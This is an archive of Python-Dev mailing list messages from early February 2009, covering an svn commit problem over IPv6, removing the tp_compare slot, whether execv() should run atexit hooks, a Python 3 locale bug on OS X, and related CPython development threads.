From greg at krypto.org  Sun Feb  1 00:00:37 2009
From: greg at krypto.org (Gregory P. Smith)
Date: Sat, 31 Jan 2009 15:00:37 -0800
Subject: [Python-Dev] Subversion upgraded to 1.5
In-Reply-To: <52dc1c820901311449w6b487195t55f249ca88d163f2@mail.gmail.com>
References: <49847292.5080401@v.loewis.de>
	<52dc1c820901311335h17ab0ed3h220b0bcbc75f274@mail.gmail.com>
	<4984CAE8.1050509@v.loewis.de>
	<52dc1c820901311449w6b487195t55f249ca88d163f2@mail.gmail.com>
Message-ID: <52dc1c820901311500s61f5643fs81748f4013c80075@mail.gmail.com>

fwiw, I just turned off IPv6 and it worked fine.  That makes no sense to me
given that the ssh connection worked fine either way.  Does svn itself try
and log source addresses somehow when using svn+ssh and balk on IPv6 addrs?

Weird.  regardless, this is presumably not related to your subversion
upgrade.  I don't think I've done any commits from these hosts since I got
IPv6 connectivity, only updates.

-gps

On Sat, Jan 31, 2009 at 2:49 PM, Gregory P. Smith <greg at krypto.org> wrote:

> I'm just trying to commit the following to trunk:
>
> Sending        Lib/test/test_socket.py
> Sending        Misc/NEWS
> Sending        Modules/socketmodule.c
> Transmitting file data ...
>
> I have another svn commit attempt which appesrs to be hanging and destined
> to timeout running right now.
>
> ssh -v pythondev at svn.python.org works fine.
>
> -gps
>
>
> On Sat, Jan 31, 2009 at 2:04 PM, "Martin v. L?wis" <martin at v.loewis.de>wrote:
>
>> > any ideas?
>>
>> Assuming you reported this right after it happened - sorry, no.
>> I can't find anything relevant in the log files (although a
>> precise time of failure would have helped).
>>
>> Does a plain "ssh pythondev at svn.python.org" still work?
>>
>> What path did you try to check into?
>>
>> Regards,
>> Martin
>>
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090131/7c91a38a/attachment.htm>

From martin at v.loewis.de  Sun Feb  1 00:13:42 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 01 Feb 2009 00:13:42 +0100
Subject: [Python-Dev] Subversion upgraded to 1.5
In-Reply-To: <52dc1c820901311500s61f5643fs81748f4013c80075@mail.gmail.com>
References: <49847292.5080401@v.loewis.de>	
	<52dc1c820901311335h17ab0ed3h220b0bcbc75f274@mail.gmail.com>	
	<4984CAE8.1050509@v.loewis.de>	
	<52dc1c820901311449w6b487195t55f249ca88d163f2@mail.gmail.com>
	<52dc1c820901311500s61f5643fs81748f4013c80075@mail.gmail.com>
Message-ID: <4984DB26.8070300@v.loewis.de>

> fwiw, I just turned off IPv6 and it worked fine.  That makes no sense to
> me given that the ssh connection worked fine either way.  Does svn
> itself try and log source addresses somehow when using svn+ssh and balk
> on IPv6 addrs?

No. subversion ignores the network layer.

> Weird.  regardless, this is presumably not related to your subversion
> upgrade.  I don't think I've done any commits from these hosts since I
> got IPv6 connectivity, only updates.

That alone can't be the problem. I tried to commit something over IPv6,
and it worked just fine.

Regards,
Martin

From martin at v.loewis.de  Sun Feb  1 00:19:30 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 01 Feb 2009 00:19:30 +0100
Subject: [Python-Dev] Subversion upgraded to 1.5
In-Reply-To: <52dc1c820901311500s61f5643fs81748f4013c80075@mail.gmail.com>
References: <49847292.5080401@v.loewis.de>	<52dc1c820901311335h17ab0ed3h220b0bcbc75f274@mail.gmail.com>	<4984CAE8.1050509@v.loewis.de>	<52dc1c820901311449w6b487195t55f249ca88d163f2@mail.gmail.com>
	<52dc1c820901311500s61f5643fs81748f4013c80075@mail.gmail.com>
Message-ID: <4984DC82.4010803@v.loewis.de>

> Weird.  regardless, this is presumably not related to your subversion
> upgrade.  I don't think I've done any commits from these hosts since I
> got IPv6 connectivity, only updates.

I got some messages in kern.log which might be relevant

Jan 31 23:55:36 dinsdale kernel: IPv6: sending pkt_too_big to self
Jan 31 23:55:36 dinsdale kernel: IPv6: sending pkt_too_big to self
Feb  1 00:02:57 dinsdale kernel: IPv6: sending pkt_too_big to self

Of course, it is five minutes off your connect attempt (IIUC), so
it also might be irrelevant.

Regards,
Martin

From martin at v.loewis.de  Sun Feb  1 00:22:13 2009
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Sun, 01 Feb 2009 00:22:13 +0100
Subject: [Python-Dev] Removing tp_compare?
In-Reply-To: <57543.1233439608@parc.com>
References: <5c6f2a5d0901311307t42029621s3d05a0f31dd26d9d@mail.gmail.com>	<4984C276.70100@v.loewis.de>	<loom.20090131T213508-598@post.gmane.org>
	<57543.1233439608@parc.com>
Message-ID: <4984DD25.7070406@v.loewis.de>

> _ssl.c does indeed use int or long in various places.  I'm not sure how
> far it can go with Py_ssize_t -- is OpenSSL 64-bit clean?

That's irrelevant for the issue at hand (PY_SSIZE_T_CLEAN). What matters
is that s# etc converters output Py_ssize_t (unless in deprecated
compatibility mode); if you think you then need to truncate to 32 bits,
there should be explicit code that tests for truncation and raises a
Python exception if appropriate.

Regards,
Martin

From rocky at gnu.org  Sun Feb  1 01:55:26 2009
From: rocky at gnu.org (Rocky Bernstein)
Date: Sat, 31 Jan 2009 19:55:26 -0500
Subject: [Python-Dev] Should execv() call _run_exitfuncs()? If not,
	should _run_exitfuncs() 	be private?
Message-ID: <6cd6de210901311655r3e6c20f6ud4d45e3214b58078@mail.gmail.com>

As a hobby I've been writing a debugger. One of the
commands,"restart", works by calling an execv(). You may need to do
this when
the program you are debugging is threaded or when one needs to ensure
that all program state is reinitialized.

Recently, I added remote debugging via TCP sockets and noticed that
execv() in Python doesn't arrange exit hooks to get called. Should it?

One can run _run_exitfuncs() from the atexit module, but the leading
underscore of the function call suggests it is private. Should it be?

Thanks

From ncoghlan at gmail.com  Sun Feb  1 02:18:51 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 01 Feb 2009 11:18:51 +1000
Subject: [Python-Dev] Fwd: Partial function application 'from the right'
In-Reply-To: <C6B7DD9C-6CB2-4794-81CF-04D9F9E81789@lericson.se>
References: <64D950B1-C422-45CE-BBF0-AAA3764BE31B@lericson.se>
	<C6B7DD9C-6CB2-4794-81CF-04D9F9E81789@lericson.se>
Message-ID: <4984F87B.6070500@gmail.com>

Ludvig Ericson wrote:
> Begin forwarded message:
>> From: Ludvig Ericson <ludvig at lericson.se>
>> Or even
>>
>> ? = partial.skip
>> split_one = partial(str.split, ?, 1)

That won't work:

>>> ... = 1
  File "<stdin>", line 1
SyntaxError: can't assign to Ellipsis

Like None/True/False, "..." is a constant that can't be modified (you
can assign to the *name* Ellipsis, but the "..." syntax will always
refer to the specific object).

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From guido at python.org  Sun Feb  1 04:28:57 2009
From: guido at python.org (Guido van Rossum)
Date: Sat, 31 Jan 2009 19:28:57 -0800
Subject: [Python-Dev] Should execv() call _run_exitfuncs()? If not,
	should 	_run_exitfuncs() be private?
In-Reply-To: <6cd6de210901311655r3e6c20f6ud4d45e3214b58078@mail.gmail.com>
References: <6cd6de210901311655r3e6c20f6ud4d45e3214b58078@mail.gmail.com>
Message-ID: <ca471dc20901311928m47bdec0cj2a1aaaba6af65bff@mail.gmail.com>

On Sat, Jan 31, 2009 at 4:55 PM, Rocky Bernstein <rocky at gnu.org> wrote:
> As a hobby I've been writing a debugger. One of the
> commands,"restart", works by calling an execv(). You may need to do
> this when
> the program you are debugging is threaded or when one needs to ensure
> that all program state is reinitialized.
>
> Recently, I added remote debugging via TCP sockets and noticed that
> execv() in Python doesn't arrange exit hooks to get called. Should it?
>
> One can run _run_exitfuncs() from the atexit module, but the leading
> underscore of the function call suggests it is private. Should it be?

Depending on the use for the exit function you might or might not want
it run at the occasion of exec*(). E.g. I imagine that in a typical
fork() + exec*() scenario, calling the exit functions in the child
process would be a mistake.

So I don't think the hooks should be called by default. However you
are welcome to call the function (leading underscore and all) if it
helps in your case.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From ncoghlan at gmail.com  Sun Feb  1 08:30:30 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 01 Feb 2009 17:30:30 +1000
Subject: [Python-Dev] Should execv() call _run_exitfuncs()? If not,
 should _run_exitfuncs() 	be private?
In-Reply-To: <6cd6de210901311655r3e6c20f6ud4d45e3214b58078@mail.gmail.com>
References: <6cd6de210901311655r3e6c20f6ud4d45e3214b58078@mail.gmail.com>
Message-ID: <49854F96.5080700@gmail.com>

Rocky Bernstein wrote:
> As a hobby I've been writing a debugger. One of the
> commands,"restart", works by calling an execv(). You may need to do
> this when
> the program you are debugging is threaded or when one needs to ensure
> that all program state is reinitialized.
> 
> Recently, I added remote debugging via TCP sockets and noticed that
> execv() in Python doesn't arrange exit hooks to get called. Should it?
> 
> One can run _run_exitfuncs() from the atexit module, but the leading
> underscore of the function call suggests it is private. Should it be?

One of the advantages in Python handling 'private' APIs by convention
rather than having it enforced by the compiler is that for some
applications (like debuggers), a higher degree of coupling is more
appropriate than sticking strictly to the public, guaranteed stable API.

So I'd say call the private API anyway. While in theory it *could*
change, it probably won't, and the use case is too esoteric to justify
the overhead of making it public.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From rocky at gnu.org  Sun Feb  1 11:17:29 2009
From: rocky at gnu.org (rocky at gnu.org)
Date: Sun, 1 Feb 2009 05:17:29 -0500
Subject: [Python-Dev] Should execv() call _run_exitfuncs()? If not,
	should 	_run_exitfuncs() be private?
In-Reply-To: <ca471dc20901311928m47bdec0cj2a1aaaba6af65bff@mail.gmail.com>
References: <6cd6de210901311655r3e6c20f6ud4d45e3214b58078@mail.gmail.com>
	<ca471dc20901311928m47bdec0cj2a1aaaba6af65bff@mail.gmail.com>
Message-ID: <18821.30393.827744.923019@panix5.panix.com>

Guido van Rossum writes:
 > Depending on the use for the exit function you might or might not want
 > it run at the occasion of exec*(). E.g. I imagine that in a typical
 > fork() + exec*() scenario, calling the exit functions in the child
 > process would be a mistake.
 > 
 > So I don't think the hooks should be called by default. However you
 > are welcome to call the function (leading underscore and all) if it
 > helps in your case.

Ok - got it. Thanks, everyone, for the clarification(s).

From dickinsm at gmail.com  Sun Feb  1 13:22:09 2009
From: dickinsm at gmail.com (Mark Dickinson)
Date: Sun, 1 Feb 2009 12:22:09 +0000
Subject: [Python-Dev] Removing tp_compare?
In-Reply-To: <4984C276.70100@v.loewis.de>
References: <5c6f2a5d0901311307t42029621s3d05a0f31dd26d9d@mail.gmail.com>
	<4984C276.70100@v.loewis.de>
Message-ID: <5c6f2a5d0902010422i3a0a0665o69a82d3b8ce4f5ed@mail.gmail.com>

On Sat, Jan 31, 2009 at 9:28 PM, "Martin v. L?wis" <martin at v.loewis.de> wrote:

> tp_reserved sounds fine. In 3.0.1, filling it with a function pointer
> should give no error, since that would be a binary-incompatible change.

I'm not sure I understand you here.  Are you saying that in your
opinion it is safe to change the type of tp_reserved
from (cmpfunc *) to some other (dummy) function pointer?

I now realize (thanks to your message) that changing the type
to (void *) isn't entirely safe, since sizeof(void*) may be
different from sizeof(cmpfunc*) on some platforms.

Mark

From guido at python.org  Sun Feb  1 17:21:07 2009
From: guido at python.org (Guido van Rossum)
Date: Sun, 1 Feb 2009 08:21:07 -0800
Subject: [Python-Dev] Removing tp_compare?
In-Reply-To: <5c6f2a5d0902010422i3a0a0665o69a82d3b8ce4f5ed@mail.gmail.com>
References: <5c6f2a5d0901311307t42029621s3d05a0f31dd26d9d@mail.gmail.com>
	<4984C276.70100@v.loewis.de>
	<5c6f2a5d0902010422i3a0a0665o69a82d3b8ce4f5ed@mail.gmail.com>
Message-ID: <ca471dc20902010821t5432fd6dh2b7f587343859a61@mail.gmail.com>

On Sun, Feb 1, 2009 at 4:22 AM, Mark Dickinson <dickinsm at gmail.com> wrote:
> On Sat, Jan 31, 2009 at 9:28 PM, "Martin v. L?wis" <martin at v.loewis.de> wrote:
>
>> tp_reserved sounds fine. In 3.0.1, filling it with a function pointer
>> should give no error, since that would be a binary-incompatible change.
>
> I'm not sure I understand you here.  Are you saying that in your
> opinion it is safe to change the type of tp_reserved
> from (cmpfunc *) to some other (dummy) function pointer?

Sounds like Martin is referring to your suggestion to raise an
exception when initializing a type that has a non-NULL thing here. I
agree with him.

> I now realize (thanks to your message) that changing the type
> to (void *) isn't entirely safe, since sizeof(void*) may be
> different from sizeof(cmpfunc*) on some platforms.

I don't think it matters on any platforms we care about.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From dickinsm at gmail.com  Sun Feb  1 18:00:58 2009
From: dickinsm at gmail.com (Mark Dickinson)
Date: Sun, 1 Feb 2009 17:00:58 +0000
Subject: [Python-Dev] Removing tp_compare?
In-Reply-To: <ca471dc20902010821t5432fd6dh2b7f587343859a61@mail.gmail.com>
References: <5c6f2a5d0901311307t42029621s3d05a0f31dd26d9d@mail.gmail.com>
	<4984C276.70100@v.loewis.de>
	<5c6f2a5d0902010422i3a0a0665o69a82d3b8ce4f5ed@mail.gmail.com>
	<ca471dc20902010821t5432fd6dh2b7f587343859a61@mail.gmail.com>
Message-ID: <5c6f2a5d0902010900s8061ffbt49be185b4e597966@mail.gmail.com>

On Sun, Feb 1, 2009 at 4:21 PM, Guido van Rossum <guido at python.org> wrote:
> Sounds like Martin is referring to your suggestion to raise an
> exception when initializing a type that has a non-NULL thing here. I
> agree with him.

Got it.  Thank you.

Mark

From martin at v.loewis.de  Sun Feb  1 19:03:58 2009
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Sun, 01 Feb 2009 19:03:58 +0100
Subject: [Python-Dev] Removing tp_compare?
In-Reply-To: <5c6f2a5d0902010422i3a0a0665o69a82d3b8ce4f5ed@mail.gmail.com>
References: <5c6f2a5d0901311307t42029621s3d05a0f31dd26d9d@mail.gmail.com>	
	<4984C276.70100@v.loewis.de>
	<5c6f2a5d0902010422i3a0a0665o69a82d3b8ce4f5ed@mail.gmail.com>
Message-ID: <4985E40E.2000903@v.loewis.de>

Mark Dickinson wrote:
> On Sat, Jan 31, 2009 at 9:28 PM, "Martin v. L?wis" <martin at v.loewis.de> wrote:
> 
>> tp_reserved sounds fine. In 3.0.1, filling it with a function pointer
>> should give no error, since that would be a binary-incompatible change.
> 
> I'm not sure I understand you here.  Are you saying that in your
> opinion it is safe to change the type of tp_reserved
> from (cmpfunc *) to some other (dummy) function pointer?

No. I thought someone (you?) proposed that it should cause a runtime
error if a type definitions fills the tp_compare slot. I say that
3.0.1 must not produce such an error.

> I now realize (thanks to your message) that changing the type
> to (void *) isn't entirely safe, since sizeof(void*) may be
> different from sizeof(cmpfunc*) on some platforms.

Do you know of a platform where this is actually the case? I wouldn't
mind making that an #error (i.e. having it fail at compile time
already).

Regards,
Martin

From reto-ml-python-dev at schuettel.ch  Sun Feb  1 19:44:41 2009
From: reto-ml-python-dev at schuettel.ch (=?ISO-8859-1?Q?Reto_Sch=FCttel?=)
Date: Sun, 1 Feb 2009 19:44:41 +0100
Subject: [Python-Dev] Strange locale problem with Python 3
Message-ID: <4CC4F4BD-EC5B-434C-9EB4-B4381715F2D7@schuettel.ch>

Hi

While helping Brandon Rhodes to port PyEphem[1] to Python 3 we  
struggled over a
strange locale-related problem on OS X. PyEphem is a library which can  
do
astronomical computations like tracking the position of stars, planets  
and
earth satellites relative to the earth's position. When testing out  
the Python
3 release of PyEphem I noticed that on my OS X laptop a lot of  
calculations
were wrong (not completely wrong, but clearly not accurate) compared  
to Python
2.5. We (well mostly Brandon) were able to track down the problem to  
the TLE
parser (TLE are data file containing the orbital elements of an  
object) which
appears to read most values wrong with python 3. In fact it cut of the  
decimal
parts of all floats (1.123232 got 1, etc). Manually setting LANG and  
LC_ALL to
C solved the problem.

It turns out that some parts of Python 3 got more locale dependent on  
some
platforms. The only platform I am aware of is OS X, on Linux Python 3  
appears
to behave like Python 2.x did.

In case of PyEphem the problem was in the C extension which got more  
locale
dependent, for example atof() or scanf() with Python 3 now expected  
the german
decimal-delimiter ',' instead of the '.' in floats (3.14 vs. 3,14). On  
the
other hand the constructor of float still expects '.' all the time.  
But the
built-in function strptime() honors locales with Python 3 and expects  
german
week day.

I've written a simple script and a simple C extension which  
illustrates the
problem. Both the extension and the script run python 2.x and python  
3, so you
can easily compare the result while executing the script in different
environments.

I was only able to reproduce the problem on OS X (10.5) and using a  
german
locale like "de_CH.UTF-8". When manually setting LC_ALL=C, the  
differences
disappears.

I can't imagine that his behavior was really intended, and I hope the  
test case
helps you guys to identify/fix this problem.

Download the test case from:
http://github.com/retoo/py3k-locale-problem/tarball/master
or get it using git:
git://github.com/retoo/py3k-locale-problem.git

You can use the following steps to build it:

$ python2.5 setup.py build
$ python3.0 setup.py build

To run the tests with python 2.5, enter:
$ (cd build/lib*-2.5; python2.5 py3k_locale_problem.py)
... for 3.0  ...
$ (cd build/lib*-3.0; python3.0 py3k_locale_problem.py)

In the file 'results.txt' you can see the output from my OS X system.

Cheers,
Reto Sch?ttel

[1] http://rhodesmill.org/pyephem/


From aahz at pythoncraft.com  Sun Feb  1 20:40:26 2009
From: aahz at pythoncraft.com (Aahz)
Date: Sun, 1 Feb 2009 11:40:26 -0800
Subject: [Python-Dev] Strange locale problem with Python 3
In-Reply-To: <4CC4F4BD-EC5B-434C-9EB4-B4381715F2D7@schuettel.ch>
References: <4CC4F4BD-EC5B-434C-9EB4-B4381715F2D7@schuettel.ch>
Message-ID: <20090201194026.GA10906@panix.com>

On Sun, Feb 01, 2009, Reto Sch?ttel wrote:
>
> While helping Brandon Rhodes to port PyEphem[1] to Python 3 we
> struggled over a strange locale-related problem on OS X.

Please file a report at bugs.python.org -- that's the only way to ensure
that this gets tracked.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

Weinberg's Second Law: If builders built buildings the way programmers wrote 
programs, then the first woodpecker that came along would destroy civilization.

From dickinsm at gmail.com  Sun Feb  1 21:33:18 2009
From: dickinsm at gmail.com (Mark Dickinson)
Date: Sun, 1 Feb 2009 20:33:18 +0000
Subject: [Python-Dev] Removing tp_compare?
In-Reply-To: <4985E40E.2000903@v.loewis.de>
References: <5c6f2a5d0901311307t42029621s3d05a0f31dd26d9d@mail.gmail.com>
	<4984C276.70100@v.loewis.de>
	<5c6f2a5d0902010422i3a0a0665o69a82d3b8ce4f5ed@mail.gmail.com>
	<4985E40E.2000903@v.loewis.de>
Message-ID: <5c6f2a5d0902011233s42377834vd93fefefa5ba2e40@mail.gmail.com>

On Sun, Feb 1, 2009 at 6:03 PM, "Martin v. L?wis" <martin at v.loewis.de> wrote:
> No. I thought someone (you?) proposed that it should cause a runtime
> error if a type definitions fills the tp_compare slot. I say that
> 3.0.1 must not produce such an error.

Thanks.  I'm with you now.  I'll get rid of the relevant bit of code.

> > [...] sizeof(void*) may be
> > different from sizeof(cmpfunc*) on some platforms.
> Do you know of a platform where this is actually the case?

I don't, so if no-one else does either then there's probably little
point worrying about it.  The best reference I could find (besides
the C standards themselves, and in particular section 6.3.2.3 of
the C99 standard) was an ancient and short discussion on
comp.std.c (starting June 21, 1998, subject
"Q: void pointers and function pointers") where some of the
posters claimed to have encountered such platforms.

Mark

From ludvig at lericson.se  Mon Feb  2 00:14:09 2009
From: ludvig at lericson.se (Ludvig Ericson)
Date: Mon, 2 Feb 2009 00:14:09 +0100
Subject: [Python-Dev] Fwd: Partial function application 'from the right'
In-Reply-To: <4984F87B.6070500@gmail.com>
References: <64D950B1-C422-45CE-BBF0-AAA3764BE31B@lericson.se>
	<C6B7DD9C-6CB2-4794-81CF-04D9F9E81789@lericson.se>
	<4984F87B.6070500@gmail.com>
Message-ID: <391D073B-A83E-4906-A804-3CD2FB0CC756@lericson.se>

Nick Coghlan wrote:
> That won't work:
>
>>>> ... = 1
>  File "<stdin>", line 1
> SyntaxError: can't assign to Ellipsis

Well, I was trying to be funny and was under the impression that  
Python 3.0 had Unicode identifiers, but apparently it doesn't. (I used  
?, not ...)

- Ludvig

From ideasman42 at gmail.com  Mon Feb  2 06:12:37 2009
From: ideasman42 at gmail.com (Campbell Barton)
Date: Sun, 1 Feb 2009 21:12:37 -0800
Subject: [Python-Dev] python 3.0, tp_compare not used for == test?
Message-ID: <7c1ab96d0902012112t1e3854dbye1483c6577086a93@mail.gmail.com>

Hi, I have been writing a new C api that can build with both python 2.6 and 3.0

I found that when building with python 2.6, doing "a==b" between 2
different pyrna_struct_Type's would run tp_compare

But with python 3.0, "a==b" will always be false and tp_compare
function would not even run.
The only way to get it to run the tp_compare function was to do
"cmp(a, b)" however Id like to be able to use == still.

The only way I could get "a==b" to work in python 3.0 was to add a
tp_richcompare function which runs tp_compare with Py_CmpToRich()
anyway

Is this the intended behavior? - if so its important for external C
API's to be updated to support this.

Included the PyType below with some relevant details. I looked at
other Python 3.0 types but could not see why this would happen.


// ----snip,
//  initialized with PyType_Ready

	if( PyType_Ready( &pyrna_struct_Type ) < 0 )
		return NULL;

// header definition for BPy_StructRNA

typedef struct {
	PyObject_HEAD /* required python macro   */
	PointerRNA ptr;
	int freeptr; /* needed in some cases if ptr.data is created on the
fly, free when deallocing */
} BPy_StructRNA;

// PyType

/*-----------------------BPy_StructRNA method
def------------------------------*/
PyTypeObject pyrna_struct_Type = {
	PyVarObject_HEAD_INIT(NULL, 0)
	"StructRNA",			/* tp_name */
	sizeof( BPy_StructRNA ),	/* tp_basicsize */
	0,			/* tp_itemsize */
	/* methods */
	( destructor ) pyrna_struct_dealloc,/* tp_dealloc */
	NULL,                       /* printfunc tp_print; */
	NULL,						/* getattrfunc tp_getattr; */
	NULL,						/* setattrfunc tp_setattr; */
	( cmpfunc ) pyrna_struct_compare,	/* tp_compare */
	( reprfunc ) pyrna_struct_repr,	/* tp_repr */

	/* Method suites for standard classes */

	NULL,                       /* PyNumberMethods *tp_as_number; */
	NULL,						/* PySequenceMethods *tp_as_sequence; */
	NULL,						/* PyMappingMethods *tp_as_mapping; */

	/* More standard operations (here for binary compatibility) */

	( hashfunc )pyrna_struct_hash,	/* hashfunc tp_hash; */
	NULL,						/* ternaryfunc tp_call; */
	NULL,                       /* reprfunc tp_str; */
	( getattrofunc ) pyrna_struct_getattro,	/* getattrofunc tp_getattro; */
	( setattrofunc ) pyrna_struct_setattro,	/* setattrofunc tp_setattro; */

	/* Functions to access object as input/output buffer */
	NULL,                       /* PyBufferProcs *tp_as_buffer; */

  /*** Flags to define presence of optional/expanded features ***/
	Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE,         /* long tp_flags; */

	NULL,						/*  char *tp_doc;  Documentation string */
  /*** Assigned meaning in release 2.0 ***/
	/* call function for all accessible objects */
	NULL,                       /* traverseproc tp_traverse; */

	/* delete references to contained objects */
	NULL,                       /* inquiry tp_clear; */

  /***  Assigned meaning in release 2.1 ***/
  /*** rich comparisons ***/
	(richcmpfunc)pyrna_struct_richcmp,	/* richcmpfunc tp_richcompare; */

  /***  weak reference enabler ***/
	0,                          /* long tp_weaklistoffset; */

  /*** Added in release 2.2 ***/
	/*   Iterators */
	NULL,                       /* getiterfunc tp_iter; */
	NULL,                       /* iternextfunc tp_iternext; */

  /*** Attribute descriptor and subclassing stuff ***/
	pyrna_struct_methods,		/* struct PyMethodDef *tp_methods; */
	NULL,                       /* struct PyMemberDef *tp_members; */
	NULL,      					/* struct PyGetSetDef *tp_getset; */
	NULL,                       /* struct _typeobject *tp_base; */
	NULL,                       /* PyObject *tp_dict; */
	NULL,                       /* descrgetfunc tp_descr_get; */
	NULL,                       /* descrsetfunc tp_descr_set; */
	0,                          /* long tp_dictoffset; */
	NULL,                       /* initproc tp_init; */
	NULL,                       /* allocfunc tp_alloc; */
	pyrna_struct_new,			/* newfunc tp_new; */
	/*  Low-level free-memory routine */
	NULL,                       /* freefunc tp_free;  */
	/* For PyObject_IS_GC */
	NULL,                       /* inquiry tp_is_gc;  */
	NULL,                       /* PyObject *tp_bases; */
	/* method resolution order */
	NULL,                       /* PyObject *tp_mro;  */
	NULL,                       /* PyObject *tp_cache; */
	NULL,                       /* PyObject *tp_subclasses; */
	NULL,                       /* PyObject *tp_weaklist; */
	NULL
};



-- 
- Campbell

From tjreedy at udel.edu  Mon Feb  2 07:53:56 2009
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 02 Feb 2009 01:53:56 -0500
Subject: [Python-Dev] python 3.0, tp_compare not used for == test?
In-Reply-To: <7c1ab96d0902012112t1e3854dbye1483c6577086a93@mail.gmail.com>
References: <7c1ab96d0902012112t1e3854dbye1483c6577086a93@mail.gmail.com>
Message-ID: <gm65a3$c1$1@ger.gmane.org>

Campbell Barton wrote:
> Hi, I have been writing a new C api that can build with both python 2.6 and 3.0

Questions about using current releases should be directed to the 
python-list (or comp.lang.python or gmane.comp.python.general), not 
python-dev, which is for development of future releases.

> I found that when building with python 2.6, doing "a==b" between 2
> different pyrna_struct_Type's would run tp_compare
> 
> But with python 3.0, "a==b" will always be false and tp_compare
> function would not even run.
> The only way to get it to run the tp_compare function was to do
> "cmp(a, b)" however Id like to be able to use == still.

In 3.0, the build-in cmp() should have been removed and will be for 
3.0.1.  Do not use it.  I believe the tp_compare slot should not be used 
either.  It will become reserved.  It will not be removed only because 
that would change the binary layout.

So use rich comparisons.


From niklas.norrthon at esri-sgroup.se  Mon Feb  2 08:52:28 2009
From: niklas.norrthon at esri-sgroup.se (Niklas Norrthon)
Date: Mon, 2 Feb 2009 08:52:28 +0100
Subject: [Python-Dev] Removing tp_compare?
In-Reply-To: <5c6f2a5d0902011233s42377834vd93fefefa5ba2e40@mail.gmail.com>
References: <5c6f2a5d0901311307t42029621s3d05a0f31dd26d9d@mail.gmail.com>
	<4984C276.70100@v.loewis.de>
	<5c6f2a5d0902010422i3a0a0665o69a82d3b8ce4f5ed@mail.gmail.com>
	<4985E40E.2000903@v.loewis.de>
	<5c6f2a5d0902011233s42377834vd93fefefa5ba2e40@mail.gmail.com>
Message-ID: <0B721E6523DFBE4682C8449689421B8160173A0358@skis-mail.esri-sgroup.com>

On Sun, Feb 1, 2009 at 21:33, "Mark Dickinson" <dickinsm at gmail.com> wrote:
> On Sun, Feb 1, 2009 at 6:03 PM, "Martin v. L?wis" <martin at v.loewis.de> wrote:

> > [...] sizeof(void*) may be
> > different from sizeof(cmpfunc*) on some platforms.
> Do you know of a platform where this is actually the case?

> I don't, so if no-one else does either then there's probably little
> point worrying about it.  The best reference I could find (besides
> the C standards themselves, and in particular section 6.3.2.3 of
> the C99 standard) was an ancient and short discussion on
> comp.std.c (starting June 21, 1998, subject
> "Q: void pointers and function pointers") where some of the
> posters claimed to have encountered such platforms.

I do know of at least one such platform. Sure it's a bit dated, and
probably not relevant for the python development, but definitely
not exotic or rare!

Don't you rememeber the PC:s in the late 1980th? It was based on
Intel's 80286-processor, and Microsoft's C compiler supported
three or four different memory models, called things like "TINY",
"SMALL", "LARGE", and "HUGE". Most of these memory models had
different sized data and function pointers.

Niklas Norrthon


From walter at livinglogic.de  Mon Feb  2 09:33:00 2009
From: walter at livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=)
Date: Mon, 02 Feb 2009 09:33:00 +0100
Subject: [Python-Dev] pprint(iterator)
In-Reply-To: <79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com>
References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1>	
	<20090129142021.GA8996@panix.com>
	<4981BBB7.50502@voidspace.org.uk>	 <498230C7.2040403@pearwood.info>
	<498272CB.5040503@ronadam.com>	 <gltvj2$fpk$1@ger.gmane.org>
	<4982A51B.5020801@trueblade.com>	 <4982DEC8.90900@pearwood.info>	
	<79990c6b0901300402i5d93aa3br57a2bbf5ad57a52b@mail.gmail.com>	
	<49830FB1.3060306@livinglogic.de>
	<79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com>
Message-ID: <4986AFBC.3050701@livinglogic.de>

Paul Moore wrote:
> 2009/1/30 Walter D?rwald <walter at livinglogic.de>:
>> Paul Moore wrote:
>>
>>> [...]
>>> In all honesty, I think pkgutil.simplegeneric should be documented,
>>> exposed, and moved to a library of its own[1].
>> http://pypi.python.org/pypi/simplegeneric
> 
> Thanks, I was aware of that.

I wasn't aware of the fact that simplegeneric is part of the stdlib, 
albeit in a strange spot.

> I assume that the barrier to getting this
> into the stdlib will be higher than to simply exposing an
> implementation already available in the stdlib.

At least we'd need documentation and tests. And of course the code must 
be stable and there must be someone willing to maintain it (then again 
it's less than 40 lines of code).

There should be enough third-party module that use it to justify making 
simplegeneric an official part of the stdlib.

The best spot for generic() is probably in the functools module.

> To be honest, all I
> would like is for these regular "let's have another special method"
> discussions to become unnecessary...

Me too.

Servus,
    Walter




From hfuerstenau at gmx.net  Mon Feb  2 09:33:53 2009
From: hfuerstenau at gmx.net (=?UTF-8?B?SGFnZW4gRsO8cnN0ZW5hdQ==?=)
Date: Mon, 02 Feb 2009 09:33:53 +0100
Subject: [Python-Dev] Fwd: Partial function application 'from the right'
In-Reply-To: <391D073B-A83E-4906-A804-3CD2FB0CC756@lericson.se>
References: <64D950B1-C422-45CE-BBF0-AAA3764BE31B@lericson.se>	<C6B7DD9C-6CB2-4794-81CF-04D9F9E81789@lericson.se>	<4984F87B.6070500@gmail.com>
	<391D073B-A83E-4906-A804-3CD2FB0CC756@lericson.se>
Message-ID: <4986AFF1.1080100@gmx.net>

Ludvig Ericson wrote:
> Well, I was trying to be funny and was under the impression that Python
